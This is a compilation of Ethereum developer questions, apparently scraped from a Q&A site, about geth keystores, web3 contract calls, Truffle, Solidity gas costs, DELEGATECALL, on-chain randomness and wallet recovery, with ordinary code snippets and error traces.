WARN [11-09|10:30:54] Blockchain not empty, fast sync disabled
INFO [11-09|10:30:54] Starting P2P networking


texts: import wallet from geth to myEtherWallet

texts:
I created a wallet using geth (1.6.0-stable).
I can unlock it using geth: The command personal.unlockAccount(address) asks for the password and returns true.

But when I use https://www.myetherwallet.com/#view-wallet-info I get the error message "Invalid password. Error: Key derivation failed - possibly wrong passphrase"

I upload the only keystore from ~/.ethereum/keystore and copy the exact same password...

It seems the keystore file (UTC/JSON) formats are different between geth and myEtherWallet...

Please do you confirm?
How should I import the wallet?

Regards


texts: How to connect to Ethereum Blockchain without using Metamask?

texts:
Is there any direct way to interact with Blockchain?
I don't want any intermediary like Metamask.


texts:
I've successfully deployed on Ganache test network a contract with this test method in it:

function test() public pure returns (uint) {
    return 7;
}

In my JS script I try to call this method in this way:

var abi = JSON.parse('...'); //
var contract = new web3.eth.Contract(abi, '0xf1447c6d7Bff526411fFfC68502017Ce9a0AE54a'); // contract mined at this address
contract.methods.test().call().then(function(e,r) {
    console.log(e,r);
});

The console.log gives me this result (instead of 7):

false, undefined

I don't think it's an address problem (i've tried to change it and tthe script raises an error before call the method).

Any idea?


texts: Cryptocurrency Tutorial: how to transfer on the geth console?

texts:
I build, compiled and deployed (to Testrpc) the token contract from the cryptocurrency tutorial.

The token offers the transfer(addres _to, uint256 value) method, which I would like to call from coinbase in the node console.

> contractDeployed.transfer
{ [Function: bound ]
  request: [Function: bound ],
  call: [Function: bound ],
  sendTransaction: [Function: bound ],
  estimateGas: [Function: bound ],
  getData: [Function: bound ],
  'address,uint256': [Circular] }
>
>
> contractDeployed.transfer(web3.eth.accounts[1], 100)
Error: invalid address
    at inputAddressFormatter (/home/mzh/node_modules/web3/lib/web3/formatters.js:273:11)
    at inputTransactionFormatter (/home/mzh/node_modules/web3/lib/web3/formatters.js:99:20)
    at /home/mzh/node_modules/web3/lib/web3/method.js:89:28
    at Array.map (native)
    at Method.formatInput (/home/mzh/node_modules/web3/lib/web3/method.js:88:32)
    at Method.toPayload (/home/mzh/node_modules/web3/lib/web3/method.js:114:23)
    at Eth.send [as sendTransaction] (/home/mzh/node_modules/web3/lib/web3/method.js:139:30)
    at SolidityFunction.sendTransaction (/home/mzh/node_modules/web3/lib/web3/function.js:170:26)
    at SolidityFunction.execute (/home/mzh/node_modules/web3/lib/web3/function.js:256:37)
    at repl:1:18

What is wrong with the address of accounts[1]?

> web3.eth.accounts[1]
'0xf6efe9d4c094be73dd5b2137e1c34032a1ea88e3'

How else to execute the transfer?

I also tried the instructions from the TESTRPC helpfile to unlock accounts at startup:

mzh@~ $ node_modules/.bin/testrpc --secure -u 0 -u 1
EthereumJS TestRPC v4.1.3 (ganache-core: 1.1.3)

Available Accounts
==================
(0) 0x0e7088e20e8d7e23a2ec6704104fbcc0e6c61845
(1) 0xa27b21423aeab486b0eb9d24d36dc354813754ce
(2) 0x6769222c45b93ca010b911842f893b8f3c862f25
(3) 0xe4dcd88080804ea5f047fabe609dd8236090f75c
(4) 0xca26648402c7446179d9d76fbc736f817d43f9fe

Clearly, accounts 0 and 1 are unlocked from the start. Still, I can't transfer from account 0 to 1.

> contractDeployed.transfer(web3.eth.accounts[1], 100)
Error: Error: could not unlock signer account
    at StateManager.queueTransaction (/home/mzh/node_modules/ethereumjs-testrpc/build/cli.node.js:83073:21)
    at GethApiDouble.eth_sendTransaction (/home/mzh/node_modules/ethereumjs-testrpc/build/cli.node.js:82631:14)

I got the inspiration for the solution from this question.

The call to transfer requires an additional, implicit argument

> contractDeployed.transfer(web3.eth.accounts[1], 100, {from: web3.eth.accounts[0]})
'0xcc2dda4270217201989495abfc3a9953ebfb8f51b81dbcb80e3aec52d7e225bb'


texts: Occasionaly web3 returns contract old state even though transaction is mined

texts:
I have a method in my contract that is supposed to reset a list of items.

bytes32[10] public items;

function reset() {
    items = [0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0];
}

In my app, I reset items before retrieving them using web3:

contract.methods.reset().send({from: my_wallet})
.on('confirmation', confirmation => {
    if (confirmation) return;
    for (var i = 0 ; i < 10 ; ++i) {
        (function(i){
            contract.methods.items(i).call()
            .then( res => console.log(i + " " + res) );
        }(i));
    }
})

This usually works and I get resetted values. However, 10% of the time I get old values even though my reset transaction has been just confirmed! Furthermore if I check using Parity UI, the values are indeed resetted!

I'm using web3 1.0.0-beta.18 on a private chain with a single node, so there's no propagation time either.


texts: How does DELEGATECALL behave when calling other contracts?

texts:
I am trying to make a Parent-Contract which has a function which spends ERC-20 Tokens. I want to call this function from different Child-Contracts (which are deployed independently) using Delegatecall.
I tried following sample-code:
contract Parent {

    address reciever;
    MyERC20 token;

    constructor(address _token) public {
        reciever = msg.sender;
        token = MyERC20(_token);
    }

    function payReciever(uint256 amount) public {

        token.transfer(reciever, amount);

    }

}

contract Child {

    address child;

    constructor(address _child) public {
        child = _child;
    }

    function transfer(uint amount) public returns (bool) {

        (bool success, bytes memory data) = child.delegatecall(
            abi.encodeWithSignature("payReciever(uint256)", amount)
        );
        return success;

    }

}

So summarized, I want that payReciever() is called with the state of Child and then executes the transfer using Child as the sender.
Unfortunately, the delegatecall returns false and I can´t quite figure out why.
What is msg.sender in token.transfer()?
What could be the problem in the above Code?


texts: Solidity: How could I decrease gas usage of complex structs?

texts:
Struct is very expensive as labelled here: It seems extremely expensive when storing struct type.

https://www.cryptocompare.com/coins/guides/what-is-the-gas-in-ethereum/:

  sstore    100     Paid for a normal SSTORE operation (doubled or waived
  sometimes).

[Q] What decised to double it?

For example I have following struct defined inside a library: Following operation inside insert() nearly cost 150,000 gas. Storing string, uint and byte under the struct.

Lib.sol

library Lib {
  struct job {
    string      hash;  // string hash_index_folderType;
    uint       index;  //
    byte  folderType;  //
  }
}

Example.sol

import "./Lib.sol"
contract Example{
   using Lib for Lib.data;
   function insert( string key, byte folderType ){
     uint currentIndex = cluster.jobStatus[jobKey].length;
     cluster.submittedJobs.push( Lib.job({hash: key, index:
   currentIndex, folderType: folderType }) );
  }
}

I know that storing data is the most expensive operation in an smart contract.

But as we know ether keep increasing(jumped from 50$ to 240$ which means memory cost increased 5 times out of air)  and storage price keep increases rapidly for clients as well, since mining price does not decrease. So I am in search for most compact and efficient way to use memory.

=> While ether was increasing why won't gas price does not decrease for memory?

[Q] My question is related to instead of storing struct inside library and if I store it under the same file with the insert() exists, does it decrease the gas usage? If not: is it good idea to combine all variables by appending them into a string and store them as single string variable instead of a struct, might it help to decrease the gas usage?

As an example:

import "github.com/Arachnid/solidity-stringutils/strings.sol";
string hash_index_folderType = key.toSlice().concat(currentIndex.toSlice().concat(folderType.toSlice());


texts: Fair, barely malleable CSPRNG that can still be deterministic?

texts:
Just for fun, I wanted to start off making a test contract that generates ERC-20 tokens based off of prime length when in binary representation. I decided to use Rabin-Miller for the primality test, because it's cheap and I'm not trying to make a practical contract. The problem is I need to generate λ random uints, where λ is the security parameter/accuracy of test. Ethereum, being a Turing-complete dApp platform, needs all nodes to run and crunch the same exact numbers to get the same results (i.e. use EVM to output the same data). That means Solidity has no built in RNG that is deterministic.

I don't want to have the contract sender msg.sender to have to generate a random number for the contract to SHA-3. I would rather a solution that only requires submission of the integer to test primality in general. That would require deterministic computation alone.

Wouldn't this problem be solved if miners were also pitching in entropy to the blocks they mine as well as transactions and nonces, and the entropy from multiple blocks by different miners each be hashed, concatenated and hashed again? I think that would reduce entropy malleability to an acceptable amount.

I'm not a cryptographer, nor a programmer, but I just wonder why RNG is so hard to implement practically on Ethereum. I'm sure it's possible, but it hasn't been done yet because either:

No method has been found that could be implemented in a practical or secure sense.
A method was found, but it uses too much computation.
Implementation would require a chain fork.
A method can be implemented in contracts, but costs too much gas to use.
Something entirely different.

From the other questions, namely When can BLOCKHASH be safely used for a random number? When would it be unsafe? , attackers could refuse to broadcast blocks that are unfavorable (e.g. odds are against winning a lottery prize), and wait until they mine a block that is favorable to broadcast. If multiple, distinct miners, had their entropy sources combined and hashed, would random numbers be safer to use? Or would the miner simply use different accounts to cheat the system?


texts:
Why does the attached contract always throw an invalid opcode when I execute test() and verify() (in that order)?

pragma solidity ^0.4.10;

contract Parent
{

    uint value;

    function isValueOne() public constant returns (bool) {
        return value == 1;
    }

}

contract Child is Parent
{

    uint public value;

    function test() public {
        value = 1;
    }

    function verify() {
        require(isValueOne());
    }
}

From my understanding, this should never be the case. I've read the docs on inheritance and I couldn't find out what's going on. After moving  isValueOne to Child everything works.

I've tested this code on testrpc and remix with the same results.


texts: When does a Smart contract get executed/called

texts:
I'm fairly new to Ethereum and Smart Contracts.
After i publish a Smart Contract on the Chain, on what ways or how will it be executed? Who can call my Smart Contract? And under what conditions?
I'm currently a bit confused about the lifecycle of a smart contract. Would be awesome if you could provide me some Information or Ressource for that.

Thank You


texts: it should be possible to use interfaces with truffle

texts:
we have an interface contract which we would like to declare as interfaceI have created a file with only this code:

pragma solidity ^0.4.14;

interface UserDirectoryFactoryI {
    function createUserDirectory(address root, address user, address rolesContract) returns (address);
}

when compiling with solc it works. when using truffle compile it end in error

SyntaxError: Expected "contract", "import", "library", "pragma", "using", comment, end of input, end of line, or whitespace but "i" found.
    at peg$buildStructuredError (/Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:177767:12)
    at Object.peg$parse [as parse] (/Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:181366:11)
    at Object.parse (/Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:89808:23)
    at /Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:57847:36
    at /Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:50141:5
    at /Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:66021:16
    at next (/Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:75933:18)
    at /Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:50126:7
    at /Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:96942:5
    at /Users/mroon/.nvm/versions/node/v8.5.0/lib/node_modules/truffle/build/cli.bundled.js:75838:16

If interfaceis replaced with contractit works as intended


texts: Remix and ganache-cli | Contract override

texts:
I have a problem when developing in Remix and using my testnet as a blockchain.
I have a contract that connects through an interface with an standart ERC20 contract. Everything works fine until I start to deploy them both after each other.

1.) The first contract should send tokens from the contract token to another contract.
2.) The second contract is simply an ERC20 contract, no more.

How it should work:
I deploy contract 2 and then contract 1. I as the owner have all tokens and run the allow function to give contract 1 the permission to move tokens with the transferFrom function.

What happens
The first thing that happens is, that once both contracts are deployed, I don't get answers in Remix for one of both contracts. For example I can't get the totalSupply, all it says is "Calling contract.totalSupply". It seems like they somehow are overwriting each other or so, but one of both contract is not working anymore. Then also one contract works. I can not even just not get variable values but also no longer run functions in one of the contracts.

It changes and works normally when I run the tests in Javascript VM. But I don't want to use JVM.

Why does no contract work when I deployed both? Does someone had the same issues?


texts:
How does object composition work in Solidity? I haven't found a comprehensive guide, and all examples seem to deal with hello world level stuff or ERC20 token implementations.

Can I have a contract with public properties which are other contracts?
Can these contract instances passed as function arguments between contracts?


texts: How to sign a message without running testrpc?

texts:
I'd like to build a server that can sign a message in javascript.

This works fine:

const provider = new Web3.providers.HttpProvider('http://localhost:8545');
const web3 = new Web3(provider);
web3.eth.sign(message, accounts[0]);

However, I'm using infura on the server:

const provider = new HDWalletProvider(mnemonic, "https://rinkeby.infura.io/<key>, 0 )

This unfortunately does not support message signing.

Does anyone know how I can get the server to sign a message?

Thanks


texts: Configure Truffle to automatically run tests before contract deployment

texts: How do I configure Truffle to automatically carry out all my tests before it deploys the smart contract? Ideally, it should also halt deployment in case of any test errors.


texts: How could I send transactions continuously by Web3j generated wrapper

texts:
I wrote a smart contract and deployed on my private Quorum. I use Web3j to generate java wrapper to call ABIs. For example,

// here is a smart contract function
function getMoney() external payable
{
    Event_GotMoney(msg.value, now);
}

In my java, if I call like this

contract.getMoney(new BigInteger(100)).send();
// or
// contract.getMoney(new BigInteger(100));

I can always get Event_GotMoney event.
However, if I want to call it continuously, like this, (asynchronized)

for(int i=0; i<100; i++)
    contract.getMoney(new BigInteger(100));

I can't get 100 Event_GotMoney events. The interval of the timestamp in the event is 3 or 10 seconds(depends on the frequency of generating blocks). I guess the nonce isn't updated util a block generated. If my guess is correct, how can I call smart contract functions continuously? If not, is it a limitation or something?

Another small question, I use event observable functions provided by Web3j wrapper. It works well to get events, but it updates every 15 seconds. How could I modify the interval?

Any feedback would be appreciate.


texts: How can I withdraw funds from an escrow contract in web3@1.0.0?

texts:
I deposited ETH into a simple contract, and I want to get it back. I have this function:

function refundBalance() public onlyOwner {
    uint256 balance = address(this).balance;
    msg.sender.transfer(balance);
    emit LogReturnedFunds(msg.sender, balance);
}

I call it via node and web3@1.0.0-beta.35 in the terminal:

contract.methods.refundBalance().call().then(console.log)

Alas, I only get this empty response: Result {} and no state update on Ropsten. Is there something I'm missing here?


texts: paper wallet with only private and public keys

texts: How do i tranfer from paper wallet .i only have the public and private keys .the wallet is from the start of the year at close to $280 now its close to$2400 and scared of loosing .how do i get it out o fpaper wallet please help.


texts: I am trying to build a certificate DAPP, where the universities will upload certificates/degrees of students to the blockchain. But How can I verify that the university is genuine and its the university that is uploading the certificates? Without verification, anyone can upload any certificate on blockchain claiming itself as a University. So, How to verify if the university is genuine or not?